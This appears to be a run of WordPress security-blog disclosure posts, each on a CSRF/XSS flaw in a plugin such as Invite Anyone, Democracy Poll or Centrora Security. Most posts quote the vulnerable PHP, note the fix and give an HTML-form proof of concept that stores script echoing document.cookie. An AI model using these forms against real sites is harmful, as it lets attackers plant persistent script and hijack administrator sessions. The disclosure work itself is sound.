22 Mar

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Invite Anyone

At the beginning of the year we took a couple of actions to improve our inclusion of vulnerabilities where there has not been a report on the vulnerability released by the discoverer so that we could expand the number of vulnerabilities we include in our dataset. First, we expanded our monitoring of changes made to plugins to spot more of those situations. Second, we started releasing posts with the details of those vulnerabilities, which allows us to provide more information on the vulnerabilities to our customers than we otherwise could. That has also led to us spotting additional vulnerabilities in those plugins, just as we have when reviewing reports for other vulnerabilities.

While putting together a post on a vulnerability that had existed in the plugin Invite Anyone we then spotted another vulnerability, which in part involved a lack of protection against cross-site request forgery (CSRF). After noticing that we did some more checking and found that there was also CSRF vulnerability when saving the plugin’s settings page, which could be used to cause cross-site scripting (XSS) due to a lack of sanitation when doing that. We notified the developer of those issues and they quickly got back to us and have now released version 1.3.16, which resolves the vulnerability.

Prior to 1.3.16 the plugin’s setting pages included a nonce, which is used to prevent CSRF, but when the settings are saved there was no check to make sure a valid one was included. That occurred in the function invite_anyone_admin_panel in the files /admin/admin-panel.php.

In version 1.3.15 the code for saving starts running right after a check to see if a request to save the settings is sent:

36
37
if ( !empty( $_POST['invite-anyone-settings-submit'] ) ) {
	$options = invite_anyone_options();

In 1.3.16 the function check_admin_referer() is run to check if a valid nonce is included in the request before moving on:

36
37
38
39
if ( !empty( $_POST['invite-anyone-settings-submit'] ) ) {
	check_admin_referer( 'invite_anyone-options' );
 
	$options = invite_anyone_options();

Also as of 1.3.15 the function used to sanitize the settings when they were passed through the function register_setting() didn’t so any sanitization:

636
637
638
function invite_anyone_settings_check($input) {
	return $input;
}

In 1.3.16 that function includes relevant sanitization for each of the settings.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the Send Invites Tab of a user BuddyPress Profile page, when submitted as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=invite-anyone" method="POST">
<input type="hidden" name="invite_anyone[default_invitation_subject]" value="<script>alert(document.cookie);</script>">
<input type="submit" name="invite-anyone-settings-submit" value="Save Changes" />
</form>
</body>
</html>

Timeline

  • March 20, 2017 – Developer notified.
  • March 20, 2017 – Developer responds.
  • March 22, 2017 – Version 1.3.16 released, which fixes vulnerability.
23 Feb

Vulnerability Details: Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Simple Newsletter Plugin

To provide our customers with the best information possible on vulnerabilities that have been in WordPress plugins they use, we create posts, like this one, which include the details of vulnerabilities for which the discoverer has not released a report with those details already. That allows our customers to better understand how the vulnerability had or could have impacted their website.

For existing customers, please log in to your account to view the details of this vulnerability.

If you are not currently a customer, when you sign up now you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a security researcher please contact us to get free access to all of our Vulnerability Details posts.

22 Feb

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Democracy Poll

As part of the feature of our service where we do security reviews of plugins that are selected by our customers, we recently reviewed the plugin Democracy Poll. The most serious issue we found in that review was a cross-site request forgery (CSRF)/cross-site scripting (XSS) vulnerability.

The CSRF potion of the vulnerability was due to a lack of a nonce on the Texts Changes tab of the plugin’s admin page and a lack of a check for a valid one when processing a request to change the plugin’s settings .

For the XSS issue, in the file /admin/class.DemAdminInit.php the function update_l10n() saves the relevant settings and no sanitization is done in version 5.3.6:

151
152
153
154
155
156
157
158
159
160
function update_l10n(){
	$new_l10n = stripslashes_deep( $_POST['l10n'] );
 
	// удалим, если нет отличия от оригинального перевода
	foreach( $new_l10n as $k => $v )
		if( __( $k,'dem') == $v )
			unset( $new_l10n[ $k ] );
 
	update_option('democracy_l10n', $new_l10n );
}

When the values are output they are not escaped, take for the example the value for “Vote”, in the file /democracy-poll/class.DemPoll.php it is output on line 384:

$vote_btn = '<a href="javascript:void(0);" class="dem-button '. Dem::$opt['btn_class'] .' dem-vote-link" data-dem-act="vote_screen" rel="nofollow">'. __dem('Vote') .'</a>';

The function that gets the value of “Vote” there __dem() (in the file /democracy.php) does not escape it either:

69
70
71
72
73
74
75
function __dem( $str ){
	static $cache;
	if( $cache === null )
		$cache = get_option('democracy_l10n');
 
	return isset( $cache[ $str ] ) ? $cache[ $str ] : __( $str, 'dem');
}

We notified the developer of the issue and the rest of our review’s findings on February 8, but we haven’t heard back from them and no changes had been made to the plugin since then.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/options-general.php?page=democracy-poll&subpage=l10n and fronted pages with a poll on them, when submitted as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/options-general.php?page=democracy-poll&subpage=l10n" method="POST">
<input type="hidden" name="l10n[Vote]" value='"><script>alert(document.cookie);</script>' />
<input type="submit" name="dem_save_l10n" value="Save Text" />
</form>
</body>
</html>

Timeline

  • February 8, 2017 – Developer notified.
  • February 22, 2017 – WordPress.org Plugin Directory notified.
  • February 23, 2017 – Version 5.4  submitted to Plugin Directory subversion repository, which fixes vulnerability.
30 Jan

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in ABASE

We recently found that the ABASE plugin contains a cross-site request forgery (CSRF)/cross-site scripting (XSS) vulnerability on the plugin’s setting pages, /wp-admin/options-general.php?page=abase.

The CSRF potion of the vulnerability was due to a lack of a nonce on the page and a lack of a check for a valid one when processing a request to change the plugin’s settings.

For the XSS issue, in the file /abase_plugin_options.php starting at line 31 in version 2.6, settings are saved and there is no sanitization done. For example, the file File Upload Directory setting is saved with this code:

57
58
$dbfiles = $_POST['bus311mtd_dbfiles'];
update_option('bus311mtd_dbfiles', $dbfiles);

When the values are outputted on the page through the same file they were not escaped. For example, for the File Upload Directory setting is echo’d on line 246:

<td colspan=3>http://<?php echo $_SERVER['HTTP_HOST']; ?>/<input type="text" name="bus311mtd_dbfiles<?php echo $dbn;?>" value="<?php echo $dfiles; ?>" <?php if($dfiles==''){echo 'placeholder="'.$bus311mtd_default_file_upload_directory.'"';};?> size="20">/&lt;table_name&gt;/&lt;column_name&gt;/&lt;primary_index&gt;/&lt;file_name&gt;</td>

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/options-general.php?page=abase, when submitted as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/options-general.php?page=abase" method="POST">
<input type="hidden" name="bus311mtd_hidden" value="Y" />
<input type="hidden" name="bus311mtd_show" value="1" />
<input type="hidden" name="bus311mtd_dbfiles" value='"><script>alert(document.cookie);</script>' />
<input type="submit" value="Submit" />
</form>
</body>
</html>

The plugin’s website is no longer accessible, so we couldn’t contact the plugin’s developer and we are notifying the Plugin Directory of our disclosure.

Timeline

  • January 30, 2017 – WordPress.org Plugin Directory notified.
  • January 30, 2017- Plugin removed from WordPress.org Plugin Directory.
25 Jan

Vulnerability Details: Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Hupso Share Buttons for Twitter, Facebook & Google+

To provide our customers with the best information possible on vulnerabilities that have been in WordPress plugins they use, we create posts, like this one, which include the details of vulnerabilities for which the discoverer has not released a report with those details already. That allows our customers to better understand how the vulnerability had or could have impacted their website.

For existing customers, please log in to your account to view the details of this vulnerability.

If you are not currently a customer, when you sign up now you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a security researcher please contact us to get free access to all of our Vulnerability Details posts.

19 Jan

Vulnerability Details: Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) in Arigato Autoresponder and Newsletter

To provide our customers with the best information possible on vulnerabilities that have been in WordPress plugins they use, we create posts, like this one, which include the details of vulnerabilities for which the discoverer has not released a report with those details already. That allows our customers to better understand how the vulnerability had or could have impacted their website.

For existing customers, please log in to your account to view the details of this vulnerability.

If you are not currently a customer, when you sign up now you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a security researcher please contact us to get free access to all of our Vulnerability Details posts.

09 Dec

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Twitter Cards Meta

We recently found that the Twitter Cards Meta contains a cross-site request forgery (CSRF)/cross-site scripting (XSS) vulnerability on the plugin’s setting pages,/wp-admin/admin.php?page=twitter-cards-meta.

The CSRF potion of the vulnerability was due to a lack of a nonce on the page and a lack of a check for a valid one when processing a request to change the plugin’s settings.

For the XSS issue, in the file /twcm-options.php starting at line 28 in version 2.4.5 settings are saved and there is no sanitization done:

28
29
30
31
32
33
34
35
36
37
38
39
40
if(isset($_POST['save_options']))
{
	$options=array(
			'site_twitter_username'=>trim($_POST['site_twitter_username']),
			'use_authors_twitter_account'=>isset($_POST['use_authors_twitter_account']) ? intval($_POST['use_authors_twitter_account']) : '', 
			'use_image_from'=>$_POST['use_image_from'], 
			'image_custom_field'=>trim($_POST['image_custom_field']),
			'default_image'=>(trim($_POST['default_image'])=='Link to Default Image')? '' : trim($_POST['default_image']),
			'home_page_description'=>(trim($_POST['home_page_description'])=='Enter a description for home page, keep it under 200 characters')? '' : wp_filter_nohtml_kses(trim($_POST['home_page_description'])),  #wp_filter_nohtml_kses is smililar with strip_tags() function
			'default_card_type'=>$_POST['default_card_type'], 
			'use_default_card_type_sitewide'=>isset($_POST['use_default_card_type_sitewide']) ? $_POST['use_default_card_type_sitewide'] : ''
 
	);

When the values are outputted on the page through the same file they were not escaped. For example, the value for “site_twitter_username” was set on line 68:

<tr><td  align="left" width="200">Site's Main Twitter Account:</td><td>@<input type="text" name="site_twitter_username" value="<?php echo ($twcm_options['site_twitter_username'])? $twcm_options['site_twitter_username'] :'WPDevTeam';?>" size="20"  onblur="javascript: if(this.value=='') {this.value='WPDevTeam';}" onclick="javascript: if(this.value=='WPDevTeam') {this.value='';}"  /></td></tr>

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/admin.php?page=twitter-cards-meta, when submitted as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=twitter-cards-meta" method="POST">
<input type="hidden" name="save_options" value="Save Options" />
<input type="hidden" name="site_twitter_username" value='"><script>alert(document.cookie);</script>' />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • December 2, 2016 – Developer notified.
  • December 9, 2016 – WordPress.org Plugin Directory Notified.
  • December 9, 2016 – Plugin removed from WordPress.org Plugin Directory.
21 Oct

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Simply Static

The description page for the plugin Simply Static makes the case for it use based in part on the insecurity of WordPress plugins:

WordPress is used by one in four websites[1]. That makes it a prime target for hackers. There are a lot of ways that your site can be compromised, but two-thirds of all hacks are caused by vulnerabilities in WordPress plugins, themes, and core files[2].

Keeping WordPress secure requires constant vigilance. Exploits are being found for WordPress themes and plugins every day. Even WordPress itself has critical vulnerabilities from time to time. If you don’t stay on top of updates, your site will get hacked. It’s just a matter of when.

But what if there was an easy way to keep WordPress secure? What if you could lock WordPress away somewhere where no one can get to it but you?

The plugin itself could be used an example of that. An arbitrary file viewing vulnerability, which is a type that is likely to have exploitation attempts, was recently disclosed in the plugin. When we went to look into that to provide to put together a post with details of the vulnerability we noticed there were other security issues, though much less severe.

We should mention that idea is the WordPress website with this plugin would be in a location that is non-public, so if people were doing that, the threat of vulnerabilities in the plugin would be limited:

With Simply Static you can put your WordPress installation in a secure location and publish a static site for the rest of the world to see. You can keep WordPress at a secret URL, protect it with .htaccess, or even put it behind a VPN. Simply Static will create static copies of all of the pages from your WordPress installation and replace the URLs to match where you’ll be hosting it.

While taking a quick look over the plugin we noticed that is protection against cross-site request forgery (CSRF) was only half implemented. While a nonce had been added to the forms for changing the plugin’s settings and generating the static files, there was no check done to see if it is valid when processing requested from those forms.

Here is where settings were saved (in the file /includes/class-simply-static.php):

371
372
373
374
375
if ( isset( $_POST['_settings'] ) ) {
	$this->save_options();
	$message = __( 'Settings saved.', self::SLUG );
	$this->view->add_flash( 'updated', $message );
}

The generation of the static files is handle through WordPress’ AJAX functionality, it is registered here:

82
add_action( 'wp_ajax_generate_static_archive', array( self::$instance, 'generate_static_archive' ) );

The function generate_static_archive also don’t do any nonce check:

279
280
281
282
283
284
function generate_static_archive() {
	$action = $_POST['perform'];
 
	$archive_manager = new Simply_Static_Archive_Manager( $this->options );
 
	$archive_manager>perform( $action );

With that an attacker could cause a logged in Administrator to change the settings without intending it and any logged in user to re-generate the static files.

Often times a CSRF vulnerability can be used to add JavaScript code to the setting’s page, leading to cross-site request forgery (CSRF)/cross-site request (XSS) vulnerability. In this case we found the settings’ values were escaped, which prevents that from happening. But the same value were used elsewhere allowing cross-site scripting to occur. For example, the Additional URLS value will be be included on the Generate page (after doing a re-generation) and on the Diagnostic’s page.

The value of that was saved without sanitization here:

437
->set( 'additional_urls', filter_input( INPUT_POST, 'additional_urls' ) )

It was output on the Diagnostic’s page without escaping it here (in the file /includes/class-simply-static-diagnostic.php):

106
107
public function is_additional_url_valid( $url ) {
	$label = sprintf( __( 'Checking if Additional URL <code>%s</code> is valid', 'simply-static' ), $url );

After we notified the developer they released version 1.7.1, which fixes the issues. Checks were added to insure a valid nonce is included, here is the one that one that was added for saving the settings:

460
461
public function save_options() {
	check_admin_referer( 'simply-static_settings' );

The settings’ values are now run through a new function fetch_post_value() to sanitize them.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/admin.php?page=simply-static_diagnostics, when submitted as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<head>
</head>
<body>
<form method="post" action="http://localhost/wordpress/wp-admin/admin.php?page=simply-static_settings">
<input type="hidden" name="_settings" value="1" />
<input type="hidden" name="additional_urls" value="<script>alert(document.cookie);</script>" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • 10/11/2016 – Developer notified
  • 10/12/2016 – Developer responds.
  • 10/20/2016 – Version 1.7.1 released, which fixes the vulnerability.
18 Oct

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Site Analytics Plugin

We recently found that the Site Analytics Plugin contains a cross-site request forgery (CSRF)/cross-site scripting (XSS) vulnerability on the plugin’s setting pages, /wp-admin/plugins.php?page=siteanalytics.php.

The CSRF potion of the vulnerability was due to a lack of a nonce on the page and a lack of a check for a valid one when processing a request to change the plugin’s settings.

For the XSS issue, in the file /siteanalytics.php starting at line 37 in version 1.4.3 settings are saved and there is no sanitization done:

37
38
39
40
41
42
43
if ( isset( $_POST['Save'] )) {
	if ( isset( $_POST['saScript'] ) && !empty( $_POST['saScript'] )) {
		$script = $_POST['saScript'];
		if ( $script[0] == '<' )
		{
			delete_option( 'sa_script' );
			add_option( 'sa_script', $script, '', 'yes' );

When the value is outputted on the page through the same file they are not escaped, the value is set here:

66
$script = stripslashes( get_option( 'sa_script' ));

And then output here:

'               <tr><td><textarea name="saScript" rows="15" cols="100">'.$script.'</textarea></td></tr>'.

The developer of the plugin is GoDaddy, a major web hosting company. More than a week ago we left a message on the support forum for another of their other plugins, which we also found a vulnerability in, asking how we could get in touch with them privately to notify them of the details of the vulnerabilities in the plugins, but they haven’t responded.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page. This will occur right after you hit the Submit button when using the Firefox web browser. Other major web browser have XSS filtering, so it will only be shown if you return to/wp-admin/plugins.php?page=siteanalytics.php after having submitted it.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<head>
</head>
<body>
<form method="post" action="http://[path to WordPress]/wp-admin/plugins.php?page=siteanalytics.php">
<input type="hidden" name="saScript" value='</textarea><script>alert(document.cookie);</script>' />
<input type="submit" name="Save" value="Submit" />
</form>
</body>
</html>

Timeline

  • 10/10/2016 – Contacted developer publicly to see how we could privately notify them of the issue.
  • 10/18/2016 – WordPress.org Plugin Directory notified.
  • 10/19/2016 – Plugin removed from WordPress.org Plugin Directory.
02 Sep

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Centrora Security

When it comes to writing secure code one good piece of advice is to use the security functions provided in the environment you are using instead of making your own. The developers of Centrora Security decided not to do that in the cross-site request forgery (CSRF) protection for AJAX requests in the plugin and in their custom code they made a mistake that nullified the protection as of version 6.5.6.

According the plugin’s description it is able to help identify security vulnerabilities, but it would seem not this one:

The built-in Malware and Security Scanner can also help you identify any security risks, malicious codes, spam, virus, SQL injection and security vulnerabilities existing in your online system.

AJAX requests are sent to the runAction() function in the class oseAjax, located in the file /vendor/oseframework/ajax/oseAjax.php :

33
34
35
36
37
38
39
40
public static function runAction()
{
	$centrora = oseFirewall::runApp();
	self::secureCheck();
	$requst = $centrora->runController($_REQUEST['controller'] . 'Controller', $_REQUEST['task']);
	$requst->execute();
 
}

The CSRF protection occurs in the secureCheck() function called in that, but in version 6.5.6 there was a problem with the function’s code:

41
42
43
44
45
46
47
48
49
50
51
52
53
54
private static function secureCheck()
{
	if (!empty($_REQUEST['centnounceForm'])) {
		$centnounce = (isset($_REQUEST['centnounceForm'])) ? $_REQUEST['centnounceForm'] : '';
	}
	else {
		$centnounce = (isset($_REQUEST['centnounce'])) ? $_REQUEST['centnounce'] : '';
 
		if (!self::verifyNounce($centnounce))
		{
			die('Sorry, our software is CSRF proof.');
		}
	}
}

If the request includes a GET or POST input named “centnounceForm” then the value of that was set to the variable $centnounce and the function stops running without checking if a valid nonce is included by running it through the function verifyNounce().

Also worth noting is that the code appears to be used with a Joomla version of the software as well, but when used in the Joomla version the nonce is never checked by verifyNounce(), instead it is always returns true:

55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
private static function verifyNounce($centnounce)
{
	if (OSE_CMS == 'joomla')
	{
		return true;
	}
	else
	{
		if (isset($_SESSION['centnounce']) && $_SESSION['centnounce'] == $centnounce) {
			return true;
		} else {
			return false;
		}
	}
}

A cross-site request forgery (CSRF) vulnerability’s severity depends on what it would possible actions you could cause someone to take without them intending. In this case one possibility is to use it to cause persistent cross-site scripting (XSS) due to lack of sanitization or escaping for items on the  IP Control page, /wp-admin/admin.php?page=ose_fw_manageips, of the plugin.

The lack of sanitization occurred for the “title” input in the function action_Addips() in the file /classes/App/Controller/ManageipsController.php:

59
60
61
62
63
64
65
public function action_Addips() {
	$this->model->loadRequest();
	$ipmanager = $this->model->getFirewallIpManager ();
	$ip_start = $this->model->getVar('ip_start', null); 
	$ip_type =  $this->model->getVar('ip_type', null);
	$ip_status = $this->model->getInt('ip_status', 1);
	$title =  $this->model->getVar('title', 'Backend Added IP');

The getVar function, which didn’t sanitize it,  can be found in the file /vendor/oseframework/request/oseRequest.php.

The value is returned through an AJAX request through the function action_GetACLIPMap() in the file /classes/App/Controller/ManageipsController.php that didsn’t escape it.

On the day we contacted the developer about the issue they fixed the broken cross-site request forgery (CSRF) protection with the release of version 6.5.7 of the plugin, and then fixed the lack of sanitization with the release of 6.5.9 two days later.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/admin.php?page=ose_fw_manageips.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="addips" />
<input type="hidden" name="task" value="addips" />
<input type="hidden" name="option" value="com_ose_firewall" />
<input type="hidden" name="controller" value="manageips" />
<input type="hidden" name="title" value='"><script>alert(document.cookie);</script>' />
<input type="hidden" name="ip_type" value="ip" />
<input type="hidden" name="ip_start" value="1.1.1.1" />
<input type="hidden" name="ip_end" value="" />
<input type="hidden" name="ip_status" value="1" />
<input type="hidden" name="centnounceForm" value="false" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • 8/30/2016 – Developer notified.
  • 8/30/2016 – Version 6.5.7 released, which fixes the issue.